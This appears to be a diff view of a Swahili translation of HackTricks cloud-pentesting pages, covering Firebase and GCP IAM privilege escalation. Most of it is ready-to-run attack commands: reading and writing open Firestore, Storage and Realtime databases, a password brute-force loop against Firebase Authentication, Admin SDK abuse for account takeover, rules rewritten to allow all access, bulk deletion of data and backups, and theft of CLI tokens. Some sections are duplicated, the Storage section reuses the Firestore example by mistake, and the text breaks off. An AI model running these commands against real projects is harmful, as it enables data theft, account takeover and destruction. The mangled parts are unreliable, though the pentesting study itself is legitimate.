curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
Iwapo operesheni itafanikiwa, hifadhidata pia inaruhusu kuandika.
### Ufichuzi wa data katika Cloud Firestore
Mshambuliaji hahitaji ruhusa maalum za Firebase ili kutekeleza shambulio hili. Inahitaji tu kuwa kuna usanidi uliokosa usalama katika kanuni za usalama za Cloud Firestore ambapo kanuni zinaruhusu ufikivu wa kusoma au kuandika bila uthibitishaji au kwa uthibitisho usiotosha. Mfano wa kanuni iliyopangwa vibaya inayotoa ufikivu kamili ni:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Sheria hii inamruhusu mtu yeyote kusoma na kuandika nyaraka zote bila vizuizi. Kanuni za Firestore ni za kina na zinatumika kwa kila mkusanyiko na nyaraka, kwa hivyo kosa katika kanuni maalum linaweza kufichua tu mikusanyiko fulani.
Mshambuliaji lazima atambue Firebase Project ID, ambayo inaweza kupatikana kupitia mobile app reverse engineering, uchambuzi wa faili za usanidi kama google-services.json au GoogleService-Info.plist, ukaguzi wa chanzo cha programu za wavuti, au kuchambua trafiki ya mtandao ili kutambua maombi kwa firestore.googleapis.com.
Firestore REST API inatumia muundo:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Ikiwa sheria zinaruhusu unauthenticated read access, attacker anaweza kusoma collections and documents. Kwanza, wanajaribu kufikia collection maalum:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```
Ikiwa mwitikio una nyaraka za JSON badala ya kosa la ruhusa, mkusanyo umefunuliwa. Mshambuliaji anaweza kuorodhesha makusanyo yote yanayopatikana kwa kujaribu majina ya kawaida au kuchambua muundo wa programu. Ili kufikia nyaraka maalum:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Ikiwa sheria zinaruhusu upatikanaji wa kuandika bila kuthibitishwa au hazina uthibitisho wa kutosha, mshambuliaji anaweza kuunda nyaraka mpya:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'
```
Ili kubadilisha hati iliyopo, tumia PATCH:
```bash
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'
```
Ili kufuta hati na kusababisha kukataliwa kwa huduma:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
### Kufichuka kwa faili katika Firebase Storage
Mshambuliaji hahitaji ruhusa maalum za Firebase kutekeleza shambulio hili. Inahitaji tu kuwepo kwa usanidi wenye udhaifu katika Firebase Storage security rules ambapo sheria zinaruhusu read au write access bila authentication au kwa uthibitisho usiofaa. Storage rules hudhibiti ruhusa za read na write kwa kujitegemea, kwa hivyo kosa katika rule unaweza kufichua read access tu, write access tu, au zote mbili. Mfano wa rule iliyopangwa vibaya inayotoa full access ni:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Kanuni hii inaruhusu upatikanaji wa kusoma na kuandika kwa nyaraka zote bila vikwazo vyovyote. Kanuni za Firestore ni za kina na zinatumika kwa kila collection na kila document, kwa hivyo kosa katika kanuni maalum linaweza kufichua collections fulani pekee. Mdukuzi anahitaji kubaini Firebase Project ID, ambayo inaweza kupatikana kupitia mobile application reverse engineering, uchambuzi wa faili za usanidi kama google-services.json au GoogleService-Info.plist, ukaguzi wa source code wa web application, au uchambuzi wa network traffic ili kubaini maombi kwenda firestore.googleapis.com.
Firestore REST API inatumia muundo: `https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
Ikiwa kanuni zinaruhusu upatikanaji wa kusoma bila uthibitisho, mdukuzi anaweza kusoma collections and documents. Kwanza, wanajaribu kufikia collection maalum.
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
Ikiwa jibu linaorodhesha faili badala ya kosa la ruhusa, faili iko wazi. Mdukuzi anaweza kuona yaliyomo kwenye faili kwa kubainisha njia yake:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```
Ikiwa kanuni zinaruhusu upatikanaji wa kuandika bila kuthibitishwa au zina ukaguzi mdogo, mshambuliaji anaweza kupakia faili zenye madhara. Ili kupakia faili kupitia REST API:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>
```
Mshambulizi anaweza kupakia code shells, malware payloads, au faili kubwa ili kusababisha denial of service. Ikiwa programu inachakata au inatekeleza faili zilizopakuliwa, mshambulizi anaweza kupata remote code execution. Ili kufuta faili na kusababisha denial of service:
```bash
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```
### Kuitishwa kwa Firebase Cloud Functions za umma
Mshambuliaji hahitaji ruhusa maalum za Firebase ili kuitumia tatizo hili; inahitaji tu kwamba Cloud Function inapatikana hadharani kupitia HTTP bila uthibitishaji.
Function iko hatarini inapokuwa imewekwa kwa usalama duni:
- Inatumia functions.https.onRequest, ambayo haitekelezi uthibitishaji (tofauti na onCall functions).
- Msimbo wa function haukidhi uthibitishaji wa mtumiaji (kwa mfano, hakuna ukaguzi wa request.auth au context.auth).
- Function inapatikana hadharani ndani ya IAM, ikimaanisha allUsers wana jukumu roles/cloudfunctions.invoker. Hii ni tabia ya kawaida kwa HTTP functions isipokuwa msanidi programu apeane upatikanaji.
Firebase HTTP Cloud Functions zinaonyeshwa kupitia URL kama vile:
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
Mshambuliaji anaweza kugundua URL hizi kupitia uchambuzi wa msimbo wa chanzo, uchunguzi wa trafiki ya mtandao, matumizi ya zana za kuorodhesha (enumeration tools), au uhandisi wa nyuma wa app za simu.
Ikiwa function imefunuliwa hadharani na haina uthibitishaji, mshambuliaji anaweza kuitisha moja kwa moja bila taarifa za uthibitishaji.
```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
```
Ikiwa function haitakagua kwa usahihi ingizo, mshambulizi anaweza kujaribu mashambulizi mengine kama code injection au command injection.
### Brute-force attack dhidi ya Firebase Authentication kwa sera ya nywila dhaifu
Mshambulizi hahitaji ruhusa maalum za Firebase ili kufanya shambulio hili. Inahitaji tu kwamba Firebase API Key imefunuliwa katika mobile au web applications, na kwamba sera ya nywila haijasanifiwa kwa mahitaji madhubuti zaidi kuliko defaults.
Mshambulizi lazima aitambue Firebase API Key, ambayo inaweza kupatikana kupitia reverse engineering ya mobile app, uchambuzi wa configuration files kama google-services.json au GoogleService-Info.plist, ukaguzi wa source code wa web applications (kwa mfano, katika bootstrap.js), au uchambuzi wa network traffic.
Firebase Authentication’s REST API uses the endpoint:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
kuhusu ku-authenticate kwa email na password.
Ikiwa Email Enumeration Protection imezimwa, API error responses zinaweza kufichua kama email ipo kwenye mfumo (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), jambo ambalo linawawezesha washambuliaji kuorodhesha watumiaji kabla ya kujaribu kubahatisha nywila. Wakati ulinzi huu umewezeshwa, API inarudisha ujumbe mmoja wa kosa kwa zote emails zisizokuwepo na nywila zisizo sahihi, kuzuia user enumeration.
Ni muhimu kutambua kwamba Firebase Authentication inatekeleza rate limiting, ambayo inaweza kuzuia requests ikiwa majaribio mengi ya authentication yatatokea kwa muda mfupi. Kwa sababu hii, mshambulizi angehitaji kuingiza ucheleweshaji kati ya majaribio ili kuepuka kuelezewa na rate-limited.
Mshambulizi anaitambua API Key na kufanya majaribio ya authentication kwa nywila nyingi dhidi ya akaunti zilizojulikana. Ikiwa Email Enumeration Protection imezimwa, mshambulizi anaweza kuorodhesha watumiaji walio wengi kwa kuchambua error responses:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'
```
Ikiwa jibu lina EMAIL_NOT_FOUND, barua pepe haipo katika mfumo. Ikiwa lina INVALID_PASSWORD, barua pepe ipo lakini nenosiri si sahihi, ikithibitisha kuwa mtumiaji ameandikishwa. Mara mtumiaji sahihi atakapotambuliwa, mshambuliaji anaweza kufanya jaribio za brute-force. Ni muhimu kuweka mapumziko kati ya majaribio ili kuepuka mifumo ya rate-limiting ya Firebase Authentication:
```bash
counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi
# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done
```
Kwa sera ya nenosiri ya chaguo-msingi (minimum 6 characters, hakuna mahitaji ya complexity), mshambulizi anaweza kujaribu mchanganyiko wote wa nenosiri za characters 6, ambazo zinawakilisha nafasi ndogo ya utafutaji ikilinganishwa na sera za nenosiri zenye ukali zaidi.
### Usimamizi wa watumiaji katika Firebase Authentication
Mshambulizi anahitaji ruhusa maalum za Firebase Authentication ili kutekeleza shambulio hili. Ruhusa zinazohitajika ni:
- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to retrieve user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions
Ruhusa hizi zipo katika `roles/firebaseauth.admin` role, ambayo inatoa ufikiaji kamili wa kusoma/kuandika kwa rasilimali za Firebase Authentication. Pia zimo katika majukumu ya ngazi ya juu kama roles/firebase.developAdmin (ambayo inajumuisha ruhusa zote za firebaseauth.*) na roles/firebase.admin (ufikiaji kamili wa huduma zote za Firebase).
Ili kutumia Firebase Admin SDK, mshambulizi atahitaji kufikia service account credentials (JSON file), ambazo zinaweza kupatikana kwenye mifumo iliyovamiwa, repositori za msimbo zilizofunguliwa hadharani, mifumo ya CI/CD iliyovamiwa, au kupitia uvamizi wa akaunti za waendelezaji ambazo zina ufikiaji wa credentials hizi.
Hatua ya kwanza ni kusanidi Firebase Admin SDK kwa kutumia service account credentials.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Ili kuunda mtumiaji mbaya kwa kutumia barua pepe ya mwathirika, mshambulizi angejaribu kutumia Firebase Admin SDK kuunda akaunti mpya kwa barua pepe hiyo.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Ili kubadilisha mtumiaji aliyepo, attacker angeweza kusasisha mashamba kama anwani ya barua pepe, hali ya uthibitisho, au ikiwa akaunti imezimwa.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Ili kufuta akaunti ya mtumiaji na kusababisha denial of service, mshambuliaji angewasilisha ombi la kuondoa mtumiaji kabisa.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Mshambuliaji pia anaweza kupata taarifa kuhusu watumiaji waliopo kwa kuomba UID yao au anwani ya barua pepe.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Zaidi ya hayo, mshambuliaji anaweza kuunda viungo vya uthibitisho au viungo vya urejeshaji wa nywila ili kubadilisha nywila ya mtumiaji na kupata ufikiaji wa akaunti yake.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Usimamizi wa watumiaji katika Firebase Authentication
Mshambulizi anahitaji ruhusa maalum za Firebase Authentication ili kutekeleza shambulio hili. Ruhusa zinazohitajika ni:
- `firebaseauth.users.create` ili kuunda watumiaji
- `firebaseauth.users.update` ili kubadilisha watumiaji waliopo
- `firebaseauth.users.delete` ili kufuta watumiaji
- `firebaseauth.users.get` ili kupata taarifa za watumiaji
- `firebaseauth.users.sendEmail` ili kutuma barua pepe kwa watumiaji
- `firebaseauth.users.createSession` ili kuunda vikao vya watumiaji
Ruhusa hizi ziko ndani ya role ya `roles/firebaseauth.admin`, inayotoa nafasi kamili ya kusoma/kuandika kwenye rasilimali za Firebase Authentication. Pia ni sehemu ya role za ngazi ya juu kama `roles/firebase.developAdmin` (inayojumuisha semua firebaseauth.* permissions) na `roles/firebase.admin` (ufikiaji kamili wa huduma zote za Firebase).
Ili kutumia Firebase Admin SDK, mshambulizi angehitaji kupata service account credentials (faili la JSON), ambazo zinaweza kupatikana kutoka kwa mifumo iliyovamiwa, repositori za nambari zilizo wazi hadharani, mazingira ya CI/CD yaliyovamiwa, au kupitia kuingiliwa kwa akaunti za developer ambazo zina ufikiaji wa credential hizi.
Hatua ya kwanza ni kusanidi Firebase Admin SDK ukitumia service account credentials.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Ili kuunda malicious user kwa kutumia victim’s email, the attacker angejaribu kuunda new user account kwa email hiyo, na kumpatia their own password na profile information.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Ili kubadilisha mtumiaji aliyeko, attacker angebadilisha mashamba kama anuani ya barua pepe, hali ya uthibitisho, au kama akaunti imelemazwa.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Ili kufuta akaunti ya mtumiaji—kwa ufanisi kusababisha denial of service—mshambuliaji atatuma ombi la kumwondoa mtumiaji huyo kwa njia ya kudumu.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Mshambuliaji pia anaweza kupata taarifa kuhusu watumiaji waliopo, kama UID yao au email, kwa kuomba maelezo ya mtumiaji kwa UID au kwa anwani ya email.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Zaidi ya hayo, mshambuliaji anaweza kutengeneza viungo vya uthibitisho au viungo vya upya nenosiri, ambayo yanamwezesha kubadilisha nenosiri la mtumiaji na kuchukua udhibiti wa akaunti.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Marekebisho ya sheria za usalama katika huduma za Firebase
Mshambuliaji anahitaji ruhusa maalum ili kurekebisha sheria za usalama kulingana na huduma. Kwa Cloud Firestore na Firebase Cloud Storage, ruhusa zinazohitajika ni `firebaserules.rulesets.create` kwa kuunda rulesets na `firebaserules.releases.create` kwa kupeleka releases. Ruhusa hizi ziko katika jukumu la `roles/firebaserules.admin` au katika majukumu ya ngazi ya juu kama `roles/firebase.developAdmin` na `roles/firebase.admin`. Kwa Firebase Realtime Database, ruhusa inayohitajika ni `firebasedatabase.instances.update`.
Mshambuliaji lazima atumie Firebase REST API kurekebisha sheria za usalama.
Kwanza, mshambuliaji atahitaji kupata token ya ufikiaji kwa kutumia sifa za akaunti ya huduma.
Ili kupata token:
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```
Ili kubadilisha Firebase Realtime Database rules:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'
```
Ili kubadilisha sheria za Cloud Firestore, mshambuliaji lazima aunde ruleset kisha aitumie (deploy):
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
Amri iliyotangulia inarudisha jina la ruleset katika muundo projects/<project-id>/rulesets/<ruleset-id>. Ili kupeleka toleo jipya, release lazima isasishwe kwa kutumia ombi la PATCH:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
Ili kubadilisha Firebase Cloud Storage rules:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
Amri iliyopita inarudisha jina la ruleset kwa muundo projects/<project-id>/rulesets/<ruleset-id>. Ili kupeleka toleo jipya, release lazima isasishwe kwa kutumia ombi la PATCH:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
### Data exfiltration and manipulation in Cloud Firestore
Cloud Firestore inatumia miundombinu na mfumo wa ruhusa ule ule kama Cloud Datastore, hivyo ruhusa za Datastore IAM zinatumika moja kwa moja kwa Firestore. Ili kurekebisha sera za TTL, ruhusa `datastore.indexes.update` inahitajika. Ili kuhamisha nje data, ruhusa `datastore.databases.export` inahitajika. Ili kuingiza data, ruhusa `datastore.databases.import` inahitajika. Ili kufuta data kwa wingi, ruhusa `datastore.databases.bulkDelete` inahitajika.
Kwa shughuli za chelezo (backup) na urejeshaji (restore), ruhusa maalum zinahitajika:
- `datastore.backups.get` na `datastore.backups.list` ili kuorodhesha na kupata maelezo ya chelezo zinazopatikana
- `datastore.backups.delete` ili kufuta chelezo
- `datastore.backups.restoreDatabase` ili kurejesha database kutoka chelezo
- `datastore.backupSchedules.create` na `datastore.backupSchedules.delete` ili kusimamia ratiba za chelezo
Wakati sera ya TTL inapotengenezwa, mali maalum huchaguliwa kutambua entiti zinazoeleweka kufutwa. Mali hii ya TTL lazima iwe ya aina ya Tarehe na wakati. Mshambuliaji anaweza kuchagua mali ambayo tayari ipo au kuteua mali wanayopanga kuongeza baadaye. Ikiwa thamani ya uwanja ni tarehe iliyopita, nyaraka inakuwa inastahili kufutwa mara moja. Mshambuliaji anaweza kutumia gcloud CLI kurekebisha sera za TTL.
```bash
# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
```
Ili kuhamisha data na exfiltrate, mshambuliaji anaweza kutumia gcloud CLI.
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```
Ili kuingiza data hasidi:
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```
Ili kufuta data kwa wingi na kusababisha denial of service, mshambuliaji anaweza kutumia zana ya gcloud Firestore bulk-delete kuondoa collections zote.
```bash
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
```
Kwa shughuli za backup na restoration, mshambuliaji anaweza kuunda scheduled backups ili kunasa hali ya sasa ya database, kuorodhesha backups zilizopo, restore kutoka kwa backup ili kuandika juu ya mabadiliko ya hivi karibuni, delete backups ili kusababisha hasara ya data ya kudumu, na kuondoa scheduled backups.
Ili kuunda daily backup schedule inayozalisha backup mara moja:
```bash
gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>
```
Ili kufanya restore kutoka kwa backup maalum, attacker anaweza kuunda database mpya kwa kutumia data iliyomo katika backup hiyo. Restore operation inaandika data ya backup katika database mpya, ikimaanisha kwamba DATABASE_ID iliyopo haiwezi kutumika.
```bash
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>
```
Ili kufuta backup na kusababisha kupotea kwa data kwa kudumu:
```bash
gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
```
### Ukwibwa na matumizi mabaya ya Firebase CLI credentials
An attacker haitaji ruhusa maalum za Firebase ili kutekeleza shambulio hili, lakini anahitaji kupata ufikiaji wa mfumo wa eneo la msanidi au wa Firebase CLI credentials file. Hizi credentials zimehifadhiwa katika JSON file iliyoko katika:
- Linux/macOS: ~/.config/configstore/firebase-tools.json
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
Faili hii ina authentication tokens, zikiwemo refresh_token na access_token, ambazo zinamruhusu attacker kuthibitisha utambulisho kama mtumiaji aliyewahi kuendesha firebase login.
Attacker anapata ufikiaji wa Firebase CLI credentials file. Wanaweza kisha kunakili faili nzima hadi kwenye mfumo wao wenyewe, na Firebase CLI itatumia moja kwa moja credentials kutoka mahali pake pa chaguo-msingi. Baada ya kufanya hivyo, attacker anaweza kuona Firebase projects zote zinazopatikana kwa mtumiaji huyo.
```bash
firebase projects:list
```
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
+42 -59
View File
@@ -4,7 +4,7 @@
## IAM
Pata habari zaidi kuhusu IAM katika:
Pata taarifa zaidi kuhusu IAM katika:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,54 +12,51 @@ Pata habari zaidi kuhusu IAM katika:
### `iam.roles.update` (`iam.roles.get`)
Mshambuliaji mwenye ruhusa zilizotajwa ataweza kusasisha cheo kilichokukabidhiwa na kukupa ruhusa za ziada kwa rasilimali nyingine kama:
<details><summary>Sasisha cheo cha IAM ili kuongeza ruhusa</summary>
Mshambuliaji akiwa na ruhusa zilizotajwa ataweza kusasisha role iliyokukabidhiwa na kukupa ruhusa za ziada kwa rasilimali nyingine kama:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
</details>
Unaweza kupata skripti ya ku-automate **uundaji, exploit na kusafisha mazingira ya vuln hapa** na skripti ya Python ya kuitumia vibaya ruhusa hii [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Kwa maelezo zaidi angalia [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Unaweza kupata script ya kuendesha otomatiki **creation, exploit and cleaning of a vuln environment here** na python script ya kutumia ruhusa hii [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Kwa taarifa zaidi angalia [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
```bash
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
```
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
Ruhusa iam.roles.create inaruhusu uundaji wa roles maalum ndani ya project/shirika. Mikononi mwa mshambuliaji, hili ni hatari kwa sababu linamwezesha kufafanua seti mpya za ruhusa ambazo zinaweza kuteuliwa baadaye kwa vyombo (kwa mfano, kwa kutumia ruhusa iam.serviceAccounts.setIamPolicy) kwa lengo la kupandisha ruhusa.
```bash
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
```
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
Mshambuliaji aliye na ruhusa zilizotajwa ataweza **kuomba access token inayomilikiwa na Service Account**, hivyo inawezekana kuomba access token ya Service Account yenye ruhusa zaidi kuliko zetu.
<details><summary>Kujifanya Service Account ili kupata access token</summary>
attacker ambaye ana permissions zilizotajwa ataweza **request an access token that belongs to a Service Account**, hivyo inawezekana ku-request an access token ya Service Account yenye privileges zaidi kuliko zetu.
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
</details>
Unaweza kupata skripti ya kuendesha kiotomatiki [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) na skripti ya python ya kutumia ruhusa hii [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Kwa maelezo zaidi angalia [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Unaweza kupata script ili ku-automate [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) na python script ya ku-abuse ruhusa hii [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Kwa taarifa zaidi angalia [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **create a user-managed key for a Service Account**, ambayo itatuwezesha kufikia GCP kama Service Account hiyo.
<details><summary>Unda key ya Service Account na ujithibitishe</summary>
Mshambuliaji akiwa na ruhusa zilizotajwa atakuwa na uwezo wa **create a user-managed key for a Service Account**, ambayo itaturuhusu kufikia GCP kama ile Service Account.
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
</details>
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Unaweza kupata script ili kuendesha kwa otomatiki [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) na script ya python ya kudharau ruhusa hii [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Kwa maelezo zaidi angalia [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Kumbuka kwamba **`iam.serviceAccountKeys.update` won't work to modify the key** ya SA kwa sababu kutekeleza hilo inahitaji ruhusa `iam.serviceAccountKeys.create`.
Kumbuka kwamba **`iam.serviceAccountKeys.update` won't work to modify the key** wa SA kwa sababu kufanya hivyo ruhusa `iam.serviceAccountKeys.create` pia inahitajika.
### `iam.serviceAccounts.implicitDelegation`
Ikiwa una ruhusa ya **`iam.serviceAccounts.implicitDelegation`** kwenye Service Account ambayo ina ruhusa ya **`iam.serviceAccounts.getAccessToken`** kwenye Service Account ya tatu, basi unaweza kutumia implicitDelegation ili **kuunda token kwa Service Account hiyo ya tatu**. Hapa kuna mchoro wa kusaidia kufafanua.
Ikiwa una ruhusa ya **`iam.serviceAccounts.implicitDelegation`** kwenye Service Account ambayo ina ruhusa ya **`iam.serviceAccounts.getAccessToken`** kwenye Service Account ya tatu, basi unaweza kutumia implicitDelegation kuunda token kwa Service Account hiyo ya tatu. Hapa kuna diagramu kusaidia kuelezea.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
Kumbuka kwamba kwa mujibu wa [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegation ya `gcloud` inafanya kazi tu kuunda token kwa kutumia njia ya [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Hivyo hapa una jinsi ya kupata token ukitumia API moja kwa moja:
<details><summary>Generate access token with delegation using API</summary>
